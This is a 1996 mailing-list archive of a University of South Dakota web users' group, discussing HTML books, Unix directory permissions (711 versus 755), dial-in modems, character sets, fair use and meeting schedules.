wanted about some topics, but is good on others. I haven't begun to get through it all. What I did notice about the books is that the HTML they include varies a lot (version 2 vs 3). Supposedly V 3 of HTML will be approved soon (if not already) so it might be good to wait a little or at least get one that claims to cover version 3. Also it depends on the browser you are assuming. I'm seeing more pages now that use Netscape frames which no one else supports. Some books seem to try to cover each varient of HTML to some extent and others are more ""pure."" Finally, probably most people don't have a favorite book because they use Web resources for documentation. It is nice to have a book handy to thumb through when in doubt. Sorry, how's that for not answering? Dale PS If anyone gets this twice, sorry! Apparently my email combination is still causing problems for listproc. Dale S. Farland, InTEC, School of Education (x5844) dfarland@sunbird.usd.edu <<*>> http://www.usd.edu/~dfarland ------------- >Does anyone have a good suggestion for an HTML book to use as a reference or >guide to publishing on the Web? >I looked at almost a dozen at various book stores and was bewildered by the >variety of styles and presentations. >I ended up buying ""HTML for the World Wide Web"" by Elizabeth Castro, Peachpit >Press... it appears to be a reasonable starter book for a reasonable price [$ >18], but I would like to hear about other recommendations from other users. >I should also mention that the Library HTML classes [Net at Night] have been an >excellent resource for beginners like myself. >............................Barry Timms, Anatomy............................ >.... Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id JAA10742 for ; Thu, 4 Apr 1996 09:53:01 -0600 From: CFEIGHT@charlie.usd.edu Date: Thu, 4 Apr 1996 9:51:18 -0600 (CST) To: webula-l@sunbird.usd.edu Message-Id: <960404095118.d94@charlie.usd.edu> Subject: chmod change When we originally set up our directories for the web pages, we coded them ""711 Now I noticed (in reviewing the tutorial to help a student) that it suggests chmod 755. (also thanks to whoever put up the explanation for that code--- it makes it much easier to remember and explain). Is it necessary to do any recoding of existing directories? thanks, Cheri ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Cheryl Feight USD College of Fine Arts 605-677-5712 Director, CFA Computer Resources cfeight@charlie.usd.edu Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id KAA11666 for ; Thu, 4 Apr 1996 10:11:29 -0600 Received: (from nickisch@localhost) by sundance.usd.edu (8.6.12/8.6.12) id KAA04984; Thu, 4 Apr 1996 10:08:22 -0600 Date: Thu, 4 Apr 1996 10:08:21 -0600 (CST) From: ""Heidi M. Nickisch"" X-Sender: nickisch@sundance To: webula-l@sunbird.usd.edu Subject: Re: chmod change In-Reply-To: <960404095118.d94@charlie.usd.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 4 Apr 1996 CFEIGHT@charlie.usd.edu wrote: > When we originally set up our directories for the web pages, > we coded them ""711 > Now I noticed (in reviewing the tutorial to help a student) > that it suggests chmod 755. Yup. > (also thanks to whoever put up the explanation for that code--- > it makes it much easier to remember and explain). That was Karen Z., with editorial assistance and some later editing by yours truly. :) > Is it necessary to do any recoding of existing directories? Well, yes and no, I guess. Of course, I'm not the best person to be answering this, but if you use Netscape (frames, don't you know) to look at http://www.usd.edu/search/webdocs.html, you'll see that some directories say something like: ""Could not open /usr/local/blahblahblah"". That's 711 talkin'. Now, the tutorial (howtomk.html) *used* to say 711, and that's what we thought was right, but 755 will let this cool stuff take place. There's more to the story, but perhaps Joe with Hat could step in here? :) Cheers, Heidi ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Prof. Heidi M. Nickisch, I.D. Weeks Library University of South Dakota, Vermillion, SD 57069-2390 Tel 605/677-6088 Fax 605/677-5488 Internet: nickisch@sundance.usd.edu URL: http://www.usd.edu/~nickisch/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id OAA23766 for ; Thu, 4 Apr 1996 14:01:20 -0600 Received: from sundance (sundance.usd.edu [192.55.228.42]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id NAA09416; Thu, 4 Apr 1996 13:52:08 -0600 Date: Thu, 4 Apr 1996 13:58:10 -0600 (CST) From: Joe Reynoldson X-Sender: jreynold@sundance To: webula-l@sunbird.usd.edu cc: Multiple recipients of list Subject: Re: chmod change In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > > Is it necessary to do any recoding of existing directories? > Well, yes and no, I guess. Of course, I'm not the best person to be > answering this, but if you use Netscape (frames, don't you know) to look > at http://www.usd.edu/search/webdocs.html, you'll see that some > directories say something like: ""Could not open > /usr/local/blahblahblah"". That's 711 talkin'. Now, the tutorial > (howtomk.html) *used* to say 711, and that's what we thought was right, > but 755 will let this cool stuff take place. There's more to the story, > but perhaps Joe with Hat could step in here? :) I'm certainly not an authority on how this works, and I am also not so good at explaining, but I can try with an example. Lets say I make a subdirectory called testing in my home web directory (that is to say /home/csci/ugrads/jreynold/www) to contain web pages I am currently working on. In other words these pages are ""Under Construction."" If I make the permissions on that directory 755 (and of course 644 for the documents within it), then when I link to the URL http://www.usd.edu/~jreynold/testing/ I will get a listing of the html files in that directory with links to each file (unless of course there is an index.html file, in which case that page will be displayed). Now lets say I don't want people looking at those files at random, but I still want to look at them while I'm ""testing."" If I set the permissions to 711 for that directory, and try to link to the URL (http://www.usd.edu/~jreynold/testing/) I will get some sort of error, but not a listing (unless there is an index.html file which will then be served by default). I can still view the pages in that directory by entering their exact URL. (again remembering the permissions must be 644 for each file). For example http://www.usd.edu/~jreynold/testing/testpage.html could still be referenced, but is less likely to be accidentally stumbled upon. So 711 and 755 are both right. 711 affords a little more privacy while 755 allows for listings of directories (which do not contain index.html) by a web browser. Joe with Hat Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id QAA10145 for ; Mon, 8 Apr 1996 16:07:28 -0500 Received: (from mmarek@localhost) by sundance.usd.edu (8.6.12/8.6.12) id QAA01035; Mon, 8 Apr 1996 16:04:14 -0500 Date: Mon, 8 Apr 1996 16:04:14 -0500 (CDT) From: Michael Marek X-Sender: mmarek@sundance To: Webula List Subject: 28.8 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII *************** TO DIAL-IN USERS: On Fri. April 5 we will be adding 8 28.8Kbpps modems to the modem pool. 6 will be on new phone lines, 2 will be replacing existing 2400 bps modems. Because of this the modem pool will be unavailable starting at 8:00 a.m. until we finish adding the new lines. This should be done by mid afternoon. *************** So now that these lines are available, does anybody have a clue as to what number to call to get 28.8 access on the dial-in ports? --------------------------- | Michael Marek | | MMAREK@SUNFLOWR.USD.EDU | | Vermillion, SD | `-------------------------' Received: from sundance (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id KAA16007 for ; Tue, 9 Apr 1996 10:36:27 -0500 Date: Tue, 9 Apr 1996 10:36:25 -0500 (CDT) From: ""Timothy H. Heaton"" X-Sender: theaton@sundance To: webula-l@sunbird.usd.edu Subject: Character sets In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I've been experimenting with special characters (diacrimals, Greek letters, line draw characters, etc.). I'm having two problems. First, when I use Lynx from home over the modem I get a completely different character set than the normal one that I get using either Netscape or Lynx at the office. This applies to characters made from the number codes and the text descriptions. Does anyone know of a way to fix this? Second, I can't find several characters that I need in the normal character set, such as the Greek lowercase Delta and line draw characters (both of which, ironically, are available in the set that Lynx gives me at home). Is there a way to create such characters that any of you know of? I would appreciate any available help. Timothy H. Heaton /|Mountains /| theaton@sunbird.usd.edu Professor of Earth Sciences /::|Deserts /::| Phone: (605) 677-6122 University of South Dakota /::::|Caves /::::| FAX: (605) 677-6121 Vermillion, SD 57069 /::::::| /::::::| Radio: WB7NMY Home Page: http://www.usd.edu/~theaton Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id JAA17745 for ; Wed, 10 Apr 1996 09:27:43 -0500 Received: from clehmann ([192.236.43.210]) by charlie.usd.edu with SMTP; Wed, 10 Apr 1996 9:28:44 -0500 (CDT) Received: by clehmann with Microsoft Mail id <01BB2724.558E0FA0@clehmann>; Wed, 10 Apr 1996 21:26:09 -0500 Message-ID: <01BB2724.558E0FA0@clehmann> From: Clayton Miles Lehmann To: ""'webula-l@sunbird.usd.edu'"" Subject: RE: Character sets Date: Wed, 10 Apr 1996 21:25:57 -0500 Encoding: 10 TEXT, 37 UUENCODE X-MS-Attachment: WINMAIL.DAT 0 00-00-1980 00:00 Tim, This probably won't help you with your specific problem of getting a particular Greek character within a ""normal"" font, but you may be interested in what classicists have done to enable them to use Greek online. Chech out the Perseus Project at http://www.perseus.tufts.edu/TextHelp.html for directions on acquiring a Greek font with complete diacriticals and setting your browser to display them in a Windows or Macintosh environment. I don't know what you'd do with a text-based browser such as Lynx. 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'1(&V$Z+BEP;0,@`A %P&1I>Q80 M'\\!I`B $( (@'C!C_'%U+' >!!\\4`A(;U 6@_FT+4!' )*$', 4!'I$'0+\\$ M( !P(Q 1L1WS'#-B`V#^=Q&P!< E$2Q@'( +8!K0^R6S(%-7""X DP#&@'8 % MP;,`T""*!;W,<$ GP=BQP;P(@!X "",""0!/0*V M&I 1L"",0,78, 5`#T``0````4```!213H@`````)O\\ ` end Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id JAA18216 for ; Wed, 10 Apr 1996 09:37:40 -0500 From: COLLETTE@charlie.usd.edu Date: Wed, 10 Apr 1996 9:38:42 -0500 (CDT) To: webula-l@sunbird.usd.edu Message-Id: <960410093842.5fae@charlie.usd.edu> Subject: RE: 28.8 The 28.8 Modems will not be available till they are added to the rotor sequence. Once they are added we will advertise the numers in the login welcome message. -Joe Collette Received: from [192.236.47.118] (jayhawk.ed.usd.edu [192.236.47.118]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id SAA27611 for ; Fri, 12 Apr 1996 18:32:58 -0500 Date: Fri, 12 Apr 1996 18:32:58 -0500 X-Sender: jsumner@sunflowr.usd.edu Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: webula-l@sunbird.usd.edu From: jsumner@sunbird.usd.edu (Sumner, Jack) Subject: RE: 28.8 > The 28.8 Modems will not be available till they are added to the rotor >sequence. Once they are added we will advertise the numers in the login >welcome message. > >-Joe Collette thanks Joe JSumner@charlie.usd.edu Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id LAA09815 for ; Mon, 15 Apr 1996 11:30:30 -0500 Received: from clehmann ([192.236.43.210]) by charlie.usd.edu with SMTP; Mon, 15 Apr 1996 11:31:32 -0500 (CDT) Received: by clehmann with Microsoft Mail id <01BB2ABE.AD567D60@clehmann>; Mon, 15 Apr 1996 11:28:32 -0500 Message-ID: <01BB2ABE.AD567D60@clehmann> From: Clayton Miles Lehmann To: ""'USD Webmasters' User Group'"" Subject: The House the West Built Date: Mon, 15 Apr 1996 11:28:28 -0500 Encoding: 13 TEXT Members of the group may be interested in a project that I had my students in Honors Western Civ do, with help from the Honors Program and InTEC. The House the West Built is a series of multimedia presentations concerning aspects of Western Civilization selected, researched, and produced by small groups of the students. I have been assembling the projects this weekend and hope to be done by Tuesday at 12:30 when the students will present them to each other in the library computer classroom. You are all invited. The presentations will be made via the World Wide Web. But as many of them include copyrighted images, I shall not announce the link, at least until I have thought more about the applicability of Fair Use. Perhaps some of you could give me advice; perhaps indeed we could have a discussion on the issue of Fair Use and the World Wide Web. Clayton Lehmann Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id IAA14733 for ; Thu, 18 Apr 1996 08:52:27 -0500 Received: from csmsgate.csrv.usd.edu by charlie.usd.edu with SMTP; Thu, 18 Apr 1996 8:53:30 -0500 (CDT) Received: by csmsgate.csrv.usd.edu with Microsoft Mail id <3176657C@csmsgate.csrv.usd.edu>; Thu, 18 Apr 96 08:53:32 PDT From: ""Erickson, Sandra J."" To: webula-l Subject: RE: The House the West Built Date: Thu, 18 Apr 96 08:51:00 PDT Message-ID: <3176657C@csmsgate.csrv.usd.edu> Encoding: 25 TEXT X-Mailer: Microsoft Mail V3.0 How did the presentation go? I had an appointment during this time and couldn't go. -Sandy ---------- From: webula-l To: Multiple recipients of list Subject: The House the West Built Date: Monday, April 15, 1996 11:33AM Members of the group may be interested in a project that I had my students in Honors Western Civ do, with help from the Honors Program and InTEC. The House the West Built is a series of multimedia presentations concerning aspects of Western Civilization selected, researched, and produced by small groups of the students. I have been assembling the projects this weekend and hope to be done by Tuesday at 12:30 when the students will present them to each other in the library computer classroom. You are all invited. The presentations will be made via the World Wide Web. But as many of them include copyrighted images, I shall not announce the link, at least until I have thought more about the applicability of Fair Use. Perhaps some of you could give me advice; perhaps indeed we could have a discussion on the issue of Fair Use and the World Wide Web. Clayton Lehmann Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id JAA15626 for ; Thu, 18 Apr 1996 09:16:38 -0500 Received: (from nickisch@localhost) by sundance.usd.edu (8.6.12/8.6.12) id JAA01401; Thu, 18 Apr 1996 09:16:25 -0500 Date: Thu, 18 Apr 1996 09:16:25 -0500 (CDT) From: ""Heidi M. Nickisch"" X-Sender: nickisch@sundance To: WEBULA-L Subject: Meeting times.... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I'm a little behind the power curve here, but I'm trying to find outthe best meeting time(s) for the WWW User's Group as a whole. I realize that no one time will be perfect for everyone, but please contribute! What day(s) work *best* for you to meet? What time(s) on what day(s) work *best* for you to meet? I'd rather have your best meeting times rather than your ""I can't make it then"" times because most of you teach, have regular committee meetings, etc, and the list will be too long.... Folks, pleasepleaseplease send to me directly (nickisch@sundance.usd.edu) instead of to the list! :) Please send your preferences to me by Friday, 5pm (that's 56 hours from now!), and I'll tally the results so that we can announce another meeting very soon. Oh, and no complaining from people who don't respond, OK? :) Cheers, Heidi ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Prof. Heidi M. Nickisch, I.D. Weeks Library University of South Dakota, Vermillion, SD 57069-2390 Tel 605/677-6088 Fax 605/677-5488 Internet: nickisch@sundance.usd.edu URL: http://www.usd.edu/~nickisch/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id JAA16241 for ; Thu, 18 Apr 1996 09:40:04 -0500 Received: from [192.236.47.2] by 192.236.47.2 with SMTP; Thu, 18 Apr 1996 9:41:07 -0500 (CDT) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Thu, 18 Apr 1996 09:43:17 -0500 To: webula-l@sunbird.usd.edu From: dfarland@sunflowr.usd.edu (Dale S. Farland) Subject: RE: The House the West Built I thought it went very well (speaking as an outside but not entirely objective observer). Not all students were entirely finished with their work, but what was done was interesting with sparks of creativity. It would be well worth a visit to IdeaFest next week to take a look at the finished products. Dale Dale S. Farland, InTEC, School of Education (x5844) dfarland@sunbird.usd.edu <<*>> http://www.usd.edu/~dfarland -------------------------------- >How did the presentation go? I had an appointment during this time and >couldn't go. > > -Sandy > ---------- snip ... > >>Members of the group may be interested in a project that I had my students >>in Honors Western Civ do, with help from the Honors Program and InTEC. The >>House the West Built is a series of multimedia presentations concerning >>aspects of Western Civilization selected, researched, and produced by small >> >> ---------- snip ... >> >>Clayton Lehmann Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id KAA17921 for ; Thu, 18 Apr 1996 10:34:56 -0500 Received: from ppp15.usd.edu (ppp15.usd.edu [192.55.228.122]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id KAA14575; Thu, 18 Apr 1996 10:34:17 -0500 Message-ID: <31767E93.704E@sunflowr.usd.edu> Date: Thu, 18 Apr 1996 10:40:35 -0700 From: Timothy Lillie Organization: University of South Dakota X-Mailer: Mozilla 2.01 (Win16; I) MIME-Version: 1.0 To: webula-l@sunbird.usd.edu CC: tlillie@sunflowr.usd.edu Subject: Re: Meeting times.... References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Heidi M. Nickisch wrote: > What day(s) work *best* for you to meet? Usually Mondays and Fridays > > What time(s) on what day(s) work *best* for you to meet? > 8-10 am; noon hour. Thanks for taking this on! -- ____________________________________________________________ Timothy Lillie email:tlillie@sunflowr.usd.edu University of South Dakota http://www.usd.edu/~tlillie Vermillion SD 57069 605.677.5210 or 6293 Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id QAA05050 for ; Thu, 18 Apr 1996 16:29:54 -0500 Received: (from tlillie@localhost) by sundance.usd.edu (8.6.12/8.6.12) id QAA02289; Thu, 18 Apr 1996 16:29:42 -0500 Date: Thu, 18 Apr 1996 16:29:41 -0500 (CDT) From: Timothy Lillie X-Sender: tlillie@sundance To: webula-l@sunbird.usd.edu Subject: Sorry Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sorry to send my response to the whole list after Heidi asked not to -- just hit the wrong button. ___________________________________________________________________________ Timothy Lillie http://www.usd.edu/~tlillie tlillie@sunflowr.usd.edu (605) 677-5210 or 6293 University of South Dakota Vermillion SD 57069 Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id PAA05560 for ; Fri, 26 Apr 1996 15:14:39 -0500 Received: from [192.236.47.2] by 192.236.47.2 with SMTP; Fri, 26 Apr 1996 15:15:43 -0500 (CDT) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Fri, 26 Apr 1996 15:17:55 -0500 To: webula-l@sunbird.usd.edu From: dfarland@sunflowr.usd.edu (Dale S. Farland) Subject: Next Web Users Group Meeting Attention: The end of the semester is at hand! It is time to repent of your non-Unix ways. Or, in other words, Joe Collette has kindly agreed to enlighten us ""Less than Unix"" users. The topic he has offered to present is ""A session on file and directory manipulation in Unix."" This grows out of his message regarding ownership of directories as discussed at the last meeting. Probably if there are specific questions you have, you could send them ahead of time to Joe or to the list. The meeting is scheduled for next Friday, 12 - 1, and tentatively again in room 107 in the Education Building. The time seemed to be the best one from Heidi's request for input, and the room is pending upon what Joe needs for equipment. At the beginning of next week I'll send a confirmation of the place to the list. If you know of faculty/staff who are beginning to develop Web pages who are not on the list, let them know. Dale Dale S. Farland, InTEC, School of Education (x5844) dfarland@sunbird.usd.edu <<*>> http://www.usd.edu/~dfarland Received: from [192.236.47.118] (jayhawk.ed.usd.edu [192.236.47.118]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id KAA05659 for ; Mon, 29 Apr 1996 10:09:12 -0500 Date: Mon, 29 Apr 1996 10:09:12 -0500 X-Sender: jsumner@sunflowr.usd.edu Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: webula-l@sunbird.usd.edu From: jsumner@sunbird.usd.edu (Sumner, Jack) Subject: Re: Next Web Users Group Meeting >Attention: > >The end of the semester is at hand! It is time to repent of your non-Unix >ways. > >Or, in other words, Joe Collette has kindly agreed to enlighten us ""Less >than Unix"" users. The topic he has offered to present is ""A session on >file and directory manipulation in Unix."" This grows out of his message >regarding ownership of directories as discussed at the last meeting. >Probably if there are specific questions you have, you could send them >ahead of time to Joe or to the list. > >The meeting is scheduled for next Friday, 12 - 1, and tentatively again in >room 107 in the Education Building. The time seemed to be the best one >from Heidi's request for input, and the room is pending upon what Joe needs >for equipment. > > At the beginning of next week I'll send a confirmation of the place to the >list. If you know of faculty/staff who are beginning to develop Web pages >who are not on the list, let them know. > >Dale > > Dale S. Farland, InTEC, School of Education (x5844) > dfarland@sunbird.usd.edu <<*>> http://www.usd.edu/~dfarland Thanks...i cannot attend but will be there in spirit. JSumner@charlie.usd.edu Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id KAA14145 for ; Wed, 1 May 1996 10:51:41 -0500 Received: from [192.236.47.2] by 192.236.47.2 with SMTP; Wed, 1 May 1996 10:52:46 -0500 (CDT) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Wed, 1 May 1996 10:55:01 -0500 To: webula-l@sunbird.usd.edu From: dfarland@sunflowr.usd.edu (Dale S. Farland) Subject: Reminder of meeting this Friday noon Web Users Group: A confirmation and reminder of the meeting: Friday, May 3, 12 - 1:00 in Education 107 Joe Collette will present information and answer questions about the Unix aspects of dealing with Web page creation (directories, chmod, etc.) Feel free to invite associates who are new to or becoming interested in Web page construction. There will also be time for general discussion, including the question of whether to have meetings during the summer. Dale Dale S. Farland, InTEC, School of Education (x5844) dfarland@sunbird.usd.edu <<*>> http://www.usd.edu/~dfarland Received: from sunbird (sunbird.usd.edu [192.55.228.37]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id JAA27188 for ; Fri, 3 May 1996 09:12:04 -0500 Date: Fri, 3 May 1996 09:12:03 -0500 (CDT) From: ""Timothy H. Heaton"" X-Sender: theaton@sunbird To: WEBULA-L Subject: Interactive web practice exams Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi folks. I look forward to meeting with you today at noon if I get an exam done in time. I'm exploring ways to use the web in my courses, and I've designed some practice exams to help my ESCI 103 students to study for their final. You might want to check it out as an idea (the links are at the top of my home page, address below). They are multiple choice questions that give a printed response to each answer and do so on a green or red screen for ""correct"" or ""incorrect."" Now I just need to get Heidi to help me add some bells and whistles!! I'd be interested to know if anyone else has done anything similar to this that I could take a look at and get some ideas from. My next plan is to design an interactive geological time scale! Timothy H. Heaton /|Mountains /| theaton@sunbird.usd.edu Professor of Earth Sciences /::|Deserts /::| Phone: (605) 677-6122 University of South Dakota /::::|Caves /::::| FAX: (605) 677-6121 Vermillion, SD 57069 /::::::| /::::::| Radio: WB7NMY Home Page: http://www.usd.edu/~theaton Received: (from clushbou@localhost) by sunbird.usd.edu (8.6.12/8.6.9) id JAA28689; Fri, 3 May 1996 09:56:58 -0500 Date: Fri, 3 May 1996 09:56:58 -0500 (CDT) From: Carol Lushbough X-Sender: clushbou@sunbird To: webula-l@sunbird.usd.edu cc: Multiple recipients of list Subject: Re: Interactive web practice exams In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I've written a java application for cps 105 that enables students to calculate their final grade. It helped them determine if they needed to take the final exams. (John has a weird grading algorithm) Its pretty simple but you might want to look at it. From the USD home page follow the computer science department link. You'll find the application under course description, undergraduate, 105. The actual URL is: http://www.usd.edu/csci/courses/105/GradeCalc.html You need a java enabled browser to see anything (Netscape 2.0). Carol Lushbough Manager of User Services Computing Services USD On Fri, 3 May 1996, Timothy H. Heaton wrote: > Hi folks. I look forward to meeting with you today at noon if I get an > exam done in time. > > I'm exploring ways to use the web in my courses, and I've designed some > practice exams to help my ESCI 103 students to study for their final. > You might want to check it out as an idea (the links are at the top of my > home page, address below). They are multiple choice questions that give > a printed response to each answer and do so on a green or red screen for > ""correct"" or ""incorrect."" Now I just need to get Heidi to help me add > some bells and whistles!! > > I'd be interested to know if anyone else has done anything similar to this > that I could take a look at and get some ideas from. My next plan is to > design an interactive geological time scale! > > Timothy H. Heaton /|Mountains /| theaton@sunbird.usd.edu > Professor of Earth Sciences /::|Deserts /::| Phone: (605) 677-6122 > University of South Dakota /::::|Caves /::::| FAX: (605) 677-6121 > Vermillion, SD 57069 /::::::| /::::::| Radio: WB7NMY > > Home Page: http://www.usd.edu/~theaton > Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id KAA00820 for ; Fri, 3 May 1996 10:39:41 -0500 Received: (from clushbou@localhost) by sundance.usd.edu (8.6.12/8.6.12) id KAA28075; Fri, 3 May 1996 10:39:12 -0500 Date: Fri, 3 May 1996 10:39:12 -0500 (CDT) From: Carol Lushbough X-Sender: clushbou@sundance To: webula-l@sunbird.usd.edu Subject: Re: Interactive web practice exams In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I just wanted to let you know that I think your multiple choice html is really neat! Are you using pearl to process the answers? On Fri, 3 May 1996, Timothy H. Heaton wrote: > Hi folks. I look forward to meeting with you today at noon if I get an > exam done in time. > > I'm exploring ways to use the web in my courses, and I've designed some > practice exams to help my ESCI 103 students to study for their final. > You might want to check it out as an idea (the links are at the top of my > home page, address below). They are multiple choice questions that give > a printed response to each answer and do so on a green or red screen for > ""correct"" or ""incorrect."" Now I just need to get Heidi to help me add > some bells and whistles!! > > I'd be interested to know if anyone else has done anything similar to this > that I could take a look at and get some ideas from. My next plan is to > design an interactive geological time scale! > > Timothy H. Heaton /|Mountains /| theaton@sunbird.usd.edu > Professor of Earth Sciences /::|Deserts /::| Phone: (605) 677-6122 > University of South Dakota /::::|Caves /::::| FAX: (605) 677-6121 > Vermillion, SD 57069 /::::::| /::::::| Radio: WB7NMY > > Home Page: http://www.usd.edu/~theaton > Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id NAA06924 for ; Fri, 3 May 1996 13:44:24 -0500 Received: (from mmarek@localhost) by sundance.usd.edu (8.6.12/8.6.12) id NAA12368; Fri, 3 May 1996 13:43:45 -0500 Date: Fri, 3 May 1996 13:43:44 -0500 (CDT) From: Michael Marek X-Sender: mmarek@sundance To: ""Dale S. Farland"" cc: Multiple recipients of list Subject: Re: Reminder of meeting this Friday noon In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 1 May 1996, Dale S. Farland wrote: > A confirmation and reminder of the meeting: > > Friday, May 3, 12 - 1:00 in Education 107 When I arrived at 12:55, I was disappointed to learn that this meeting had been rescheduled to noon. I am told that a notice was sent to Webula about the change in time, but all I saw was something from somebody about having something else on his schedule, mentioning what appeared to me to be the wrong time for the meeting. I skimmed over it pretty fast and it certainly didn't click with me that it was a formal rescheduling of the meeting. In the future, if there are changes from the announced time, I'd appreciate it if the messages were *very clear* that the time is changed from what was originally announced, especially when multiple earlier messages have given a different time. As it was, this would have been the first of the meetings that was scheduled when I was able to attend, and I spent most of it sitting in Charlies. :-) --------------------------- | Michael Marek | | MMAREK@SUNFLOWR.USD.EDU | | Vermillion, SD | `-------------------------' Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id NAA07386 for ; Fri, 3 May 1996 13:57:20 -0500 Received: from [192.236.47.2] by 192.236.47.2 with SMTP; Fri, 3 May 1996 13:58:23 -0500 (CDT) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Fri, 3 May 1996 14:00:40 -0500 To: webula-l@sunbird.usd.edu From: dfarland@sunflowr.usd.edu (Dale S. Farland) Subject: Thanks, Joe & next topic? First, a big thanks to Joe Collette for doing an excellant job of compressing the essence (for us) of a semester course into less than an hour. Thanks also to Joe Reynoldson for his quick, accrurate typing. The consensus of those present (and the two regrets about the meeting) was that meeting through the summer would be desireable [and fun -- right Heidi :-) ?] I only partially in jest was drafting Carol Lushbough to talk to us about Java. She _did not_ answer with ""NO."" Are there any other suggestions of topics (or volunteers)? There was a suggestion that it might be possible/useful/""fun"" to meet more often than once per month in the summer. We didn't follow up on that discussion. What are your feelings about meeting frequency? Finally, sorry that my last note misled some people into thinking that the meeting was at 1 rather than 12. I looked at the message and see how that could have happened (see copy below). I'll be MUCH more careful next time. > Friday, May 3, 12 - 1:00 in Education 107 <--- old meeting announcement Dale Dale S. Farland, InTEC, School of Education (x5844) dfarland@sunbird.usd.edu <<*>> http://www.usd.edu/~dfarland Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id OAA10130 for ; Fri, 3 May 1996 14:51:06 -0500 Received: (from mmarek@localhost) by sundance.usd.edu (8.6.12/8.6.12) id OAA17688; Fri, 3 May 1996 14:50:37 -0500 Date: Fri, 3 May 1996 14:50:36 -0500 (CDT) From: Michael Marek X-Sender: mmarek@sundance To: ""Dale S. Farland"" cc: Webula List Subject: Re: Reminder of meeting this Friday noon In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 3 May 1996, Dale S. Farland wrote: > Sorry for the misunderstanding. As far as I am aware, the meeting was > always scheduled for 12-1. I sent out only 2 emails about the meeting and > both said 12 - 1, but not as clearly as they should have, obviously. I apparently misunderstood in at least two different messages, probably from my skimming messages and not paying enough attention. I have Noon on my schedule for May 10th, and will try to be there. :-) I do appreciate *very* much your efforts to coordinate these meetings, and even in the part of the meeting I was there for I got some very useful information. In the future I will also try to be more alert in looking at these meeting notices! --------------------------- | Michael Marek | | MMAREK@SUNFLOWR.USD.EDU | 